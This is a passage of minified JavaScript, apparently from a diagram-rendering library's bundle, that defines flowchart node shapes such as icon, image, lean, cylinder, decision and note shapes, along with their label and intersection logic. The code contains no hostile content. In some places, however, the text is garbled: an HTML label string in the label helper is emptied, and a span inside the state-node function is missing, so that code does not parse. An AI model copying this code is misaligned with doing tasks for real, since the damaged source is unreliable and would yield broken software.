ut(t,e,"icon-shape default"),p=e.pos==="t",m=l,g=l,{nodeBorder:y}=r,{stylesMap:v}=wc(e),x=-g/2,b=-m/2,T=e.label?8:0,S=Ze.svg(h),w=Je(e,{stroke:"none",fill:"none"});e.look!=="handDrawn"&&(w.roughness=0,w.fillStyle="solid");let k=S.rectangle(x,b,g,m,w),A=Math.max(g,f.width),C=m+f.height+T,R=S.rectangle(-A/2,-C/2,A,C,{...w,fill:"transparent",stroke:"none"}),I=h.insert(()=>k,":first-child"),L=h.insert(()=>R);if(e.icon){let E=h.append("g");E.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let D=E.node().getBBox(),_=D.width,O=D.height,M=D.x,P=D.y;E.attr("transform",`translate(${-_/2-M},${p?f.height/2+T/2-O/2-P:-f.height/2-T/2-O/2-P})`),E.attr("style",`color: ${v.get("stroke")??y};`)}return d.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${p?-C/2:C/2-f.height})`),I.attr("transform",`translate(0,${p?f.height/2+T/2:-f.height/2-T/2})`),Qe(e,L),e.intersect=function(E){if(X.info("iconSquare intersect",e,E),!e.label)return Xe.rect(e,E);let D=e.x??0,_=e.y??0,O=e.height??0,M=[];return p?M=[{x:D-f.width/2,y:_-O/2},{x:D+f.width/2,y:_-O/2},{x:D+f.width/2,y:_-O/2+f.height+T},{x:D+g/2,y:_-O/2+f.height+T},{x:D+g/2,y:_+O/2},{x:D-g/2,y:_+O/2},{x:D-g/2,y:_-O/2+f.height+T},{x:D-f.width/2,y:_-O/2+f.height+T}]:M=[{x:D-g/2,y:_-O/2},{x:D+g/2,y:_-O/2},{x:D+g/2,y:_-O/2+m},{x:D+f.width/2,y:_-O/2+m},{x:D+f.width/2/2,y:_+O/2},{x:D-f.width/2,y:_+O/2},{x:D-f.width/2,y:_-O/2+m},{x:D-g/2,y:_-O/2+m}],Xe.polygon(e,M,E)},h}var eee=N(()=>{"use strict";Ht();pt();nc();Ut();$t();It();o(JJ,"icon")});async function tee(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,label:d}=await ut(t,e,"icon-shape default"),p=20,m=e.label?8:0,g=e.pos==="t",{nodeBorder:y,mainBkg:v}=r,{stylesMap:x}=wc(e),b=Ze.svg(h),T=Je(e,{});e.look!=="handDrawn"&&(T.roughness=0,T.fillStyle="solid");let S=x.get("fill");T.stroke=S??v;let w=h.append("g");e.icon&&w.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let k=w.node().getBBox(),A=k.width,C=k.height,R=k.x,I=k.y,L=Math.max(A,C)*Math.SQRT2+p*2,E=b.circle(0,0,L,T),D=Math.max(L,f.width),_=L+f.height+m,O=b.rectangle(-D/2,-_/2,D,_,{...T,fill:"transparent",stroke:"none"}),M=h.insert(()=>E,":first-child"),P=h.insert(()=>O);return w.attr("transform",`translate(${-A/2-R},${g?f.height/2+m/2-C/2-I:-f.height/2-m/2-C/2-I})`),w.attr("style",`color: ${x.get("stroke")??y};`),d.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${g?-_/2:_/2-f.height})`),M.attr("transform",`translate(0,${g?f.height/2+m/2:-f.height/2-m/2})`),Qe(e,P),e.intersect=function(B){return X.info("iconSquare intersect",e,B),Xe.rect(e,B)},h}var ree=N(()=>{"use strict";Ht();pt();nc();Ut();$t();It();o(tee,"iconCircle")});var Fs,Zd=N(()=>{"use strict";Fs=o((t,e,r,n,i)=>["M",t+i,e,"H",t+r-i,"A",i,i,0,0,1,t+r,e+i,"V",e+n-i,"A",i,i,0,0,1,t+r-i,e+n,"H",t+i,"A",i,i,0,0,1,t,e+n-i,"V",e+i,"A",i,i,0,0,1,t+i,e,"Z"].join(" "),"createRoundedRectPathD")});async function nee(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,halfPadding:d,label:p}=await ut(t,e,"icon-shape default"),m=e.pos==="t",g=l+d*2,y=l+d*2,{nodeBorder:v,mainBkg:x}=r,{stylesMap:b}=wc(e),T=-y/2,S=-g/2,w=e.label?8:0,k=Ze.svg(h),A=Je(e,{});e.look!=="handDrawn"&&(A.roughness=0,A.fillStyle="solid");let C=b.get("fill");A.stroke=C??x;let R=k.path(Fs(T,S,y,g,5),A),I=Math.max(y,f.width),L=g+f.height+w,E=k.rectangle(-I/2,-L/2,I,L,{...A,fill:"transparent",stroke:"none"}),D=h.insert(()=>R,":first-child").attr("class","icon-shape2"),_=h.insert(()=>E);if(e.icon){let O=h.append("g");O.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let M=O.node().getBBox(),P=M.width,B=M.height,F=M.x,G=M.y;O.attr("transform",`translate(${-P/2-F},${m?f.height/2+w/2-B/2-G:-f.height/2-w/2-B/2-G})`),O.attr("style",`color: ${b.get("stroke")??v};`)}return p.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${m?-L/2:L/2-f.height})`),D.attr("transform",`translate(0,${m?f.height/2+w/2:-f.height/2-w/2})`),Qe(e,_),e.intersect=function(O){if(X.info("iconSquare intersect",e,O),!e.label)return Xe.rect(e,O);let M=e.x??0,P=e.y??0,B=e.height??0,F=[];return m?F=[{x:M-f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2+f.height+w},{x:M+y/2,y:P-B/2+f.height+w},{x:M+y/2,y:P+B/2},{x:M-y/2,y:P+B/2},{x:M-y/2,y:P-B/2+f.height+w},{x:M-f.width/2,y:P-B/2+f.height+w}]:F=[{x:M-y/2,y:P-B/2},{x:M+y/2,y:P-B/2},{x:M+y/2,y:P-B/2+g},{x:M+f.width/2,y:P-B/2+g},{x:M+f.width/2/2,y:P+B/2},{x:M-f.width/2,y:P+B/2},{x:M-f.width/2,y:P-B/2+g},{x:M-y/2,y:P-B/2+g}],Xe.polygon(e,F,O)},h}var iee=N(()=>{"use strict";Ht();pt();nc();Ut();$t();Zd();It();o(nee,"iconRounded")});async function aee(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,halfPadding:d,label:p}=await ut(t,e,"icon-shape default"),m=e.pos==="t",g=l+d*2,y=l+d*2,{nodeBorder:v,mainBkg:x}=r,{stylesMap:b}=wc(e),T=-y/2,S=-g/2,w=e.label?8:0,k=Ze.svg(h),A=Je(e,{});e.look!=="handDrawn"&&(A.roughness=0,A.fillStyle="solid");let C=b.get("fill");A.stroke=C??x;let R=k.path(Fs(T,S,y,g,.1),A),I=Math.max(y,f.width),L=g+f.height+w,E=k.rectangle(-I/2,-L/2,I,L,{...A,fill:"transparent",stroke:"none"}),D=h.insert(()=>R,":first-child"),_=h.insert(()=>E);if(e.icon){let O=h.append("g");O.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let M=O.node().getBBox(),P=M.width,B=M.height,F=M.x,G=M.y;O.attr("transform",`translate(${-P/2-F},${m?f.height/2+w/2-B/2-G:-f.height/2-w/2-B/2-G})`),O.attr("style",`color: ${b.get("stroke")??v};`)}return p.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${m?-L/2:L/2-f.height})`),D.attr("transform",`translate(0,${m?f.height/2+w/2:-f.height/2-w/2})`),Qe(e,_),e.intersect=function(O){if(X.info("iconSquare intersect",e,O),!e.label)return Xe.rect(e,O);let M=e.x??0,P=e.y??0,B=e.height??0,F=[];return m?F=[{x:M-f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2+f.height+w},{x:M+y/2,y:P-B/2+f.height+w},{x:M+y/2,y:P+B/2},{x:M-y/2,y:P+B/2},{x:M-y/2,y:P-B/2+f.height+w},{x:M-f.width/2,y:P-B/2+f.height+w}]:F=[{x:M-y/2,y:P-B/2},{x:M+y/2,y:P-B/2},{x:M+y/2,y:P-B/2+g},{x:M+f.width/2,y:P-B/2+g},{x:M+f.width/2/2,y:P+B/2},{x:M-f.width/2,y:P+B/2},{x:M-f.width/2,y:P-B/2+g},{x:M-y/2,y:P-B/2+g}],Xe.polygon(e,F,O)},h}var see=N(()=>{"use strict";Ht();pt();nc();Ut();Zd();$t();It();o(aee,"iconSquare")});async function oee(t,e,{config:{flowchart:r}}){let n=new Image;n.src=e?.img??"",await n.decode();let i=Number(n.naturalWidth.toString().replace("px","")),a=Number(n.naturalHeight.toString().replace("px",""));e.imageAspectRatio=i/a;let{labelStyles:s}=je(e);e.labelStyle=s;let l=r?.wrappingWidth;e.defaultWidth=r?.wrappingWidth;let u=Math.max(e.label?l??0:0,e?.assetWidth??i),h=e.constraint==="on"&&e?.assetHeight?e.assetHeight*e.imageAspectRatio:u,f=e.constraint==="on"?h/e.imageAspectRatio:e?.assetHeight??a;e.width=Math.max(h,l??0);let{shapeSvg:d,bbox:p,label:m}=await ut(t,e,"image-shape default"),g=e.pos==="t",y=-h/2,v=-f/2,x=e.label?8:0,b=Ze.svg(d),T=Je(e,{});e.look!=="handDrawn"&&(T.roughness=0,T.fillStyle="solid");let S=b.rectangle(y,v,h,f,T),w=Math.max(h,p.width),k=f+p.height+x,A=b.rectangle(-w/2,-k/2,w,k,{...T,fill:"none",stroke:"none"}),C=d.insert(()=>S,":first-child"),R=d.insert(()=>A);if(e.img){let I=d.append("image");I.attr("href",e.img),I.attr("width",h),I.attr("height",f),I.attr("preserveAspectRatio","none"),I.attr("transform",`translate(${-h/2},${g?k/2-f:-k/2})`)}return m.attr("transform",`translate(${-p.width/2-(p.x-(p.left??0))},${g?-f/2-p.height/2-x/2:f/2-p.height/2+x/2})`),C.attr("transform",`translate(0,${g?p.height/2+x/2:-p.height/2-x/2})`),Qe(e,R),e.intersect=function(I){if(X.info("iconSquare intersect",e,I),!e.label)return Xe.rect(e,I);let L=e.x??0,E=e.y??0,D=e.height??0,_=[];return g?_=[{x:L-p.width/2,y:E-D/2},{x:L+p.width/2,y:E-D/2},{x:L+p.width/2,y:E-D/2+p.height+x},{x:L+h/2,y:E-D/2+p.height+x},{x:L+h/2,y:E+D/2},{x:L-h/2,y:E+D/2},{x:L-h/2,y:E-D/2+p.height+x},{x:L-p.width/2,y:E-D/2+p.height+x}]:_=[{x:L-h/2,y:E-D/2},{x:L+h/2,y:E-D/2},{x:L+h/2,y:E-D/2+f},{x:L+p.width/2,y:E-D/2+f},{x:L+p.width/2/2,y:E+D/2},{x:L-p.width/2,y:E+D/2},{x:L-p.width/2,y:E-D/2+f},{x:L-h/2,y:E-D/2+f}],Xe.polygon(e,_,I)},d}var lee=N(()=>{"use strict";Ht();pt();Ut();$t();It();o(oee,"imageSquare")});async function cee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0)*2,e?.width??0),l=Math.max(a.height+(e.padding??0)*2,e?.height??0),u=[{x:0,y:0},{x:s,y:0},{x:s+3*l/6,y:-l},{x:-3*l/6,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var uee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(cee,"inv_trapezoid")});async function Jd(t,e,r){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n;let{shapeSvg:a,bbox:s}=await ut(t,e,st(e)),l=Math.max(s.width+r.labelPaddingX*2,e?.width||0),u=Math.max(s.height+r.labelPaddingY*2,e?.height||0),h=-l/2,f=-u/2,d,{rx:p,ry:m}=e,{cssStyles:g}=e;if(r?.rx&&r.ry&&(p=r.rx,m=r.ry),e.look==="handDrawn"){let y=Ze.svg(a),v=Je(e,{}),x=p||m?y.path(Fs(h,f,l,u,p||0),v):y.rectangle(h,f,l,u,v);d=a.insert(()=>x,":first-child"),d.attr("class","basic label-container").attr("style",Cn(g))}else d=a.insert("rect",":first-child"),d.attr("class","basic label-container").attr("style",i).attr("rx",Cn(p)).attr("ry",Cn(m)).attr("x",h).attr("y",f).attr("width",l).attr("height",u);return Qe(e,d),e.calcIntersect=function(y,v){return Xe.rect(y,v)},e.intersect=function(y){return Xe.rect(e,y)},a}var M2=N(()=>{"use strict";It();Ut();Zd();$t();Ht();tr();o(Jd,"drawRect")});async function hee(t,e){let{shapeSvg:r,bbox:n,label:i}=await ut(t,e,"label"),a=r.insert("rect",":first-child");return a.attr("width",.1).attr("height",.1),r.attr("class","label edgeLabel"),i.attr("transform",`translate(${-(n.width/2)-(n.x-(n.left??0))}, ${-(n.height/2)-(n.y-(n.top??0))})`),Qe(e,a),e.intersect=function(u){return Xe.rect(e,u)},r}var fee=N(()=>{"use strict";M2();It();Ut();o(hee,"labelRect")});async function dee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0),e?.width??0),l=Math.max(a.height+(e.padding??0),e?.height??0),u=[{x:0,y:0},{x:s+3*l/6,y:0},{x:s,y:-l},{x:-(3*l)/6,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var pee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(dee,"lean_left")});async function mee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=Math.max(a.width+(e.padding??0),e?.width??0),l=Math.max(a.height+(e.padding??0),e?.height??0),u=[{x:-3*l/6,y:0},{x:s,y:0},{x:s+3*l/6,y:-l},{x:0,y:-l}],h,{cssStyles:f}=e;if(e.look==="handDrawn"){let d=Ze.svg(i),p=Je(e,{}),m=Vt(u),g=d.path(m,p);h=i.insert(()=>g,":first-child").attr("transform",`translate(${-s/2}, ${l/2})`),f&&h.attr("style",f)}else h=Bs(i,s,l,u);return n&&h.attr("style",n),e.width=s,e.height=l,Qe(e,h),e.intersect=function(d){return Xe.polygon(e,u,d)},i}var gee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();o(mee,"lean_right")});function yee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.label="",e.labelStyle=r;let i=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),{cssStyles:a}=e,s=Math.max(35,e?.width??0),l=Math.max(35,e?.height??0),u=7,h=[{x:s,y:0},{x:0,y:l+u/2},{x:s-2*u,y:l+u/2},{x:0,y:2*l},{x:s,y:l-u/2},{x:2*u,y:l-u/2}],f=Ze.svg(i),d=Je(e,{});e.look!=="handDrawn"&&(d.roughness=0,d.fillStyle="solid");let p=Vt(h),m=f.path(p,d),g=i.insert(()=>m,":first-child");return a&&e.look!=="handDrawn"&&g.selectAll("path").attr("style",a),n&&e.look!=="handDrawn"&&g.selectAll("path").attr("style",n),g.attr("transform",`translate(-${s/2},${-l})`),Qe(e,g),e.intersect=function(y){return X.info("lightningBolt intersect",e,y),Xe.polygon(e,h,y)},i}var vee=N(()=>{"use strict";pt();It();$t();Ht();Ut();It();o(yee,"lightningBolt")});async function xee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0),e.width??0),u=l/2,h=u/(2.5+l/50),f=Math.max(a.height+h+(e.padding??0),e.height??0),d=f*.1,p,{cssStyles:m}=e;if(e.look==="handDrawn"){let g=Ze.svg(i),y=pRe(0,0,l,f,u,h,d),v=mRe(0,h,l,f,u,h),x=Je(e,{}),b=g.path(y,x),T=g.path(v,x);i.insert(()=>T,":first-child").attr("class","line"),p=i.insert(()=>b,":first-child"),p.attr("class","basic label-container"),m&&p.attr("style",m)}else{let g=dRe(0,0,l,f,u,h,d);p=i.insert("path",":first-child").attr("d",g).attr("class","basic label-container").attr("style",Cn(m)).attr("style",n)}return p.attr("label-offset-y",h),p.attr("transform",`translate(${-l/2}, ${-(f/2+h)})`),Qe(e,p),s.attr("transform",`translate(${-(a.width/2)-(a.x-(a.left??0))}, ${-(a.height/2)+h-(a.y-(a.top??0))})`),e.intersect=function(g){let y=Xe.rect(e,g),v=y.x-(e.x??0);if(u!=0&&(Math.abs(v)<(e.width??0)/2||Math.abs(v)==(e.width??0)/2&&Math.abs(y.y-(e.y??0))>(e.height??0)/2-h)){let x=h*h*(1-v*v/(u*u));x>0&&(x=Math.sqrt(x)),x=h-x,g.y-(e.y??0)>0&&(x=-x),y.y+=x}return y},i}var dRe,pRe,mRe,bee=N(()=>{"use strict";It();Ut();$t();Ht();tr();dRe=o((t,e,r,n,i,a,s)=>[`M${t},${e+a}`,`a${i},${a} 0,0,0 ${r},0`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`,`M${t},${e+a+s}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createCylinderPathD"),pRe=o((t,e,r,n,i,a,s)=>[`M${t},${e+a}`,`M${t+r},${e+a}`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`,`M${t},${e+a+s}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createOuterCylinderPathD"),mRe=o((t,e,r,n,i,a)=>[`M${t-r/2},${-n/2}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createInnerCylinderPathD");o(xee,"linedCylinder")});async function Tee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/4,f=u+h,{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=[{x:-l/2-l/2*.1,y:-f/2},{x:-l/2-l/2*.1,y:f/2},...Go(-l/2-l/2*.1,f/2,l/2+l/2*.1,f/2,h,.8),{x:l/2+l/2*.1,y:-f/2},{x:-l/2-l/2*.1,y:-f/2},{x:-l/2,y:-f/2},{x:-l/2,y:f/2*1.1},{x:-l/2,y:-f/2}],y=p.polygon(g.map(x=>[x.x,x.y]),m),v=i.insert(()=>y,":first-child");return v.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",d),n&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",n),v.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-l/2+(e.padding??0)+l/2*.1/2-(a.x-(a.left??0))},${-u/2+(e.padding??0)-h/2-(a.y-(a.top??0))})`),Qe(e,v),e.intersect=function(x){return Xe.polygon(e,g,x)},i}var wee=N(()=>{"use strict";It();Ut();Ht();$t();o(Tee,"linedWaveEdgedRect")});async function kee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=5,f=-l/2,d=-u/2,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{}),y=[{x:f-h,y:d+h},{x:f-h,y:d+u+h},{x:f+l-h,y:d+u+h},{x:f+l-h,y:d+u},{x:f+l,y:d+u},{x:f+l,y:d+u-h},{x:f+l+h,y:d+u-h},{x:f+l+h,y:d-h},{x:f+h,y:d-h},{x:f+h,y:d},{x:f,y:d},{x:f,y:d+h}],v=[{x:f,y:d+h},{x:f+l-h,y:d+h},{x:f+l-h,y:d+u},{x:f+l,y:d+u},{x:f+l,y:d},{x:f,y:d}];e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let x=Vt(y),b=m.path(x,g),T=Vt(v),S=m.path(T,{...g,fill:"none"}),w=i.insert(()=>S,":first-child");return w.insert(()=>b,":first-child"),w.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&w.selectAll("path").attr("style",n),s.attr("transform",`translate(${-(a.width/2)-h-(a.x-(a.left??0))}, ${-(a.height/2)+h-(a.y-(a.top??0))})`),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,y,k)},i}var Eee=N(()=>{"use strict";It();$t();Ht();Ut();o(kee,"multiRect")});async function See(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0)*2,e?.width??0),u=Math.max(a.height+(e.padding??0)*2,e?.height??0),h=u/4,f=u+h,d=-l/2,p=-f/2,m=5,{cssStyles:g}=e,y=Go(d-m,p+f+m,d+l-m,p+f+m,h,.8),v=y?.[y.length-1],x=[{x:d-m,y:p+m},{x:d-m,y:p+f+m},...y,{x:d+l-m,y:v.y-m},{x:d+l,y:v.y-m},{x:d+l,y:v.y-2*m},{x:d+l+m,y:v.y-2*m},{x:d+l+m,y:p-m},{x:d+m,y:p-m},{x:d+m,y:p},{x:d,y:p},{x:d,y:p+m}],b=[{x:d,y:p+m},{x:d+l-m,y:p+m},{x:d+l-m,y:v.y-m},{x:d+l,y:v.y-m},{x:d+l,y:p},{x:d,y:p}],T=Ze.svg(i),S=Je(e,{});e.look!=="handDrawn"&&(S.roughness=0,S.fillStyle="solid");let w=Vt(x),k=T.path(w,S),A=Vt(b),C=T.path(A,S),R=i.insert(()=>k,":first-child");return R.insert(()=>C),R.attr("class","basic label-container"),g&&e.look!=="handDrawn"&&R.selectAll("path").attr("style",g),n&&e.look!=="handDrawn"&&R.selectAll("path").attr("style",n),R.attr("transform",`translate(0,${-h/2})`),s.attr("transform",`translate(${-(a.width/2)-m-(a.x-(a.left??0))}, ${-(a.height/2)+m-h/2-(a.y-(a.top??0))})`),Qe(e,R),e.intersect=function(I){return Xe.polygon(e,x,I)},i}var Cee=N(()=>{"use strict";It();Ut();Ht();$t();o(See,"multiWaveEdgedRectangle")});async function Aee(t,e,{config:{themeVariables:r}}){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n,e.useHtmlLabels||Qt().flowchart?.htmlLabels!==!1||(e.centerLabel=!0);let{shapeSvg:s,bbox:l,label:u}=await ut(t,e,st(e)),h=Math.max(l.width+(e.padding??0)*2,e?.width??0),f=Math.max(l.height+(e.padding??0)*2,e?.height??0),d=-h/2,p=-f/2,{cssStyles:m}=e,g=Ze.svg(s),y=Je(e,{fill:r.noteBkgColor,stroke:r.noteBorderColor});e.look!=="handDrawn"&&(y.roughness=0,y.fillStyle="solid");let v=g.rectangle(d,p,h,f,y),x=s.insert(()=>v,":first-child");return x.attr("class","basic label-container"),m&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",m),i&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",i),u.attr("transform",`translate(${-l.width/2-(l.x-(l.left??0))}, ${-(l.height/2)-(l.y-(l.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.rect(e,b)},s}var _ee=N(()=>{"use strict";Ht();Ut();$t();It();qn();o(Aee,"note")});async function Dee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.width+e.padding,l=a.height+e.padding,u=s+l,h=.5,f=[{x:u/2,y:0},{x:u,y:-u/2},{x:u/2,y:-u},{x:0,y:-u/2}],d,{cssStyles:p}=e;if(e.look==="handDrawn"){let m=Ze.svg(i),g=Je(e,{}),y=gRe(0,0,u),v=m.path(y,g);d=i.insert(()=>v,":first-child").attr("transform",`translate(${-u/2+h}, ${u/2})`),p&&d.attr("style",p)}else d=Bs(i,u,u,f),d.attr("transform",`translate(${-u/2+h}, ${u/2})`);return n&&d.attr("style",n),Qe(e,d),e.calcIntersect=function(m,g){let y=m.width,v=[{x:y/2,y:0},{x:y,y:-y/2},{x:y/2,y:-y},{x:0,y:-y/2}],x=Xe.polygon(m,v,g);return{x:x.x-.5,y:x.y-.5}},e.intersect=function(m){return this.calcIntersect(e,m)},i}var gRe,Lee=N(()=>{"use strict";It();Ut();$t();Ht();Jh();gRe=o((t,e,r)=>[`M${t+r/2},${e}`,`L${t+r},${e-r/2}`,`L${t+r/2},${e-r}`,`L${t},${e-r/2}`,"Z"].join(" "),"createDecisionBoxPathD");o(Dee,"question")});async function Ree(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+(e.padding??0),e?.width??0),u=Math.max(a.height+(e.padding??0),e?.height??0),h=-l/2,f=-u/2,d=f/2,p=[{x:h+d,y:f},{x:h,y:0},{x:h+d,y:-f},{x:-h,y:-f},{x:-h,y:f}],{cssStyles:m}=e,g=Ze.svg(i),y=Je(e,{});e.look!=="handDrawn"&&(y.roughness=0,y.fillStyle="solid");let v=Vt(p),x=g.path(v,y),b=i.insert(()=>x,":first-child");return b.attr("class","basic label-container"),m&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",m),n&&e.look!=="handDrawn"&&b.selectAll("path").attr("style",n),b.attr("transform",`translate(${-d/2},0)`),s.attr("transform",`translate(${-d/2-a.width/2-(a.x-(a.left??0))}, ${-(a.height/2)-(a.y-(a.top??0))})`),Qe(e,b),e.intersect=function(T){return Xe.polygon(e,p,T)},i}var Nee=N(()=>{"use strict";It();Ut();$t();Ht();o(Ree,"rect_left_inv_arrow")});function yRe(t,e){e&&t.attr("style",e)}async function vRe(t){let e=qe(document.createElementNS("http://www.w3.org/2000/svg","foreignObject")),r=e.append("xhtml:div"),n=ge(),i=t.label;t.label&&kn(t.label)&&(i=await kh(t.label.replace(tt.lineBreakRegex,` +`),n));let s='"+i+"";return r.html(sr(s,n)),yRe(r,t.labelStyle),r.style("display","inline-block"),r.style("padding-right","1px"),r.style("white-space","nowrap"),r.attr("xmlns","http://www.w3.org/1999/xhtml"),e.node()}var xRe,kc,aw=N(()=>{"use strict";yr();Xt();gr();pt();tr();o(yRe,"applyStyle");o(vRe,"addHtmlLabel");xRe=o(async(t,e,r,n)=>{let i=t||"";if(typeof i=="object"&&(i=i[0]),vr(ge().flowchart.htmlLabels)){i=i.replace(/\\n|\n/g,"
    "),X.info("vertexText"+i);let a={isNode:n,label:Ji(i).replace(/fa[blrs]?:fa-[\w-]+/g,l=>``),labelStyle:e&&e.replace("fill:","color:")};return await vRe(a)}else{let a=document.createElementNS("http://www.w3.org/2000/svg","text");a.setAttribute("style",e.replace("color:","fill:"));let s=[];typeof i=="string"?s=i.split(/\\n|\n|/gi):Array.isArray(i)?s=i:s=[];for(let l of s){let u=document.createElementNS("http://www.w3.org/2000/svg","tspan");u.setAttributeNS("http://www.w3.org/XML/1998/namespace","xml:space","preserve"),u.setAttribute("dy","1em"),u.setAttribute("x","0"),r?u.setAttribute("class","title-row"):u.setAttribute("class","row"),u.textContent=l.trim(),a.appendChild(u)}return a}},"createLabel"),kc=xRe});async function Mee(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let i;e.cssClasses?i="node "+e.cssClasses:i="node default";let a=t.insert("g").attr("class",i).attr("id",e.domId||e.id),s=a.insert("g"),l=a.insert("g").attr("class","label").attr("style",n),u=e.description,h=e.label,f=l.node().appendChild(await kc(h,e.labelStyle,!0,!0)),d={width:0,height:0};if(vr(ge()?.flowchart?.htmlLabels)){let C=f.children[0],R=qe(f);d=C.getBoundingClientRect(),R.attr("width",d.width),R.attr("height",d.height)}X.info("Text 2",u);let p=u||[],m=f.getBBox(),g=l.node().appendChild(await kc(p.join?p.join("
    "):p,e.labelStyle,!0,!0)),y=g.children[0],v=qe(g);d=y.getBoundingClientRect(),v.attr("width",d.width),v.attr("height",d.height);let x=(e.padding||0)/2;qe(g).attr("transform","translate( "+(d.width>m.width?0:(m.width-d.width)/2)+", "+(m.height+x+5)+")"),qe(f).attr("transform","translate( "+(d.width(X.debug("Rough node insert CXC",I),L),":first-child"),k=a.insert(()=>(X.debug("Rough node insert CXC",I),I),":first-child")}else k=s.insert("rect",":first-child"),A=s.insert("line"),k.attr("class","outer title-state").attr("style",n).attr("x",-d.width/2-x).attr("y",-d.height/2-x).attr("width",d.width+(e.padding||0)).attr("height",d.height+(e.padding||0)),A.attr("class","divider").attr("x1",-d.width/2-x).attr("x2",d.width/2+x).attr("y1",-d.height/2-x+m.height+x).attr("y2",-d.height/2-x+m.height+x);return Qe(e,k),e.intersect=function(C){return Xe.rect(e,C)},a}var Iee=N(()=>{"use 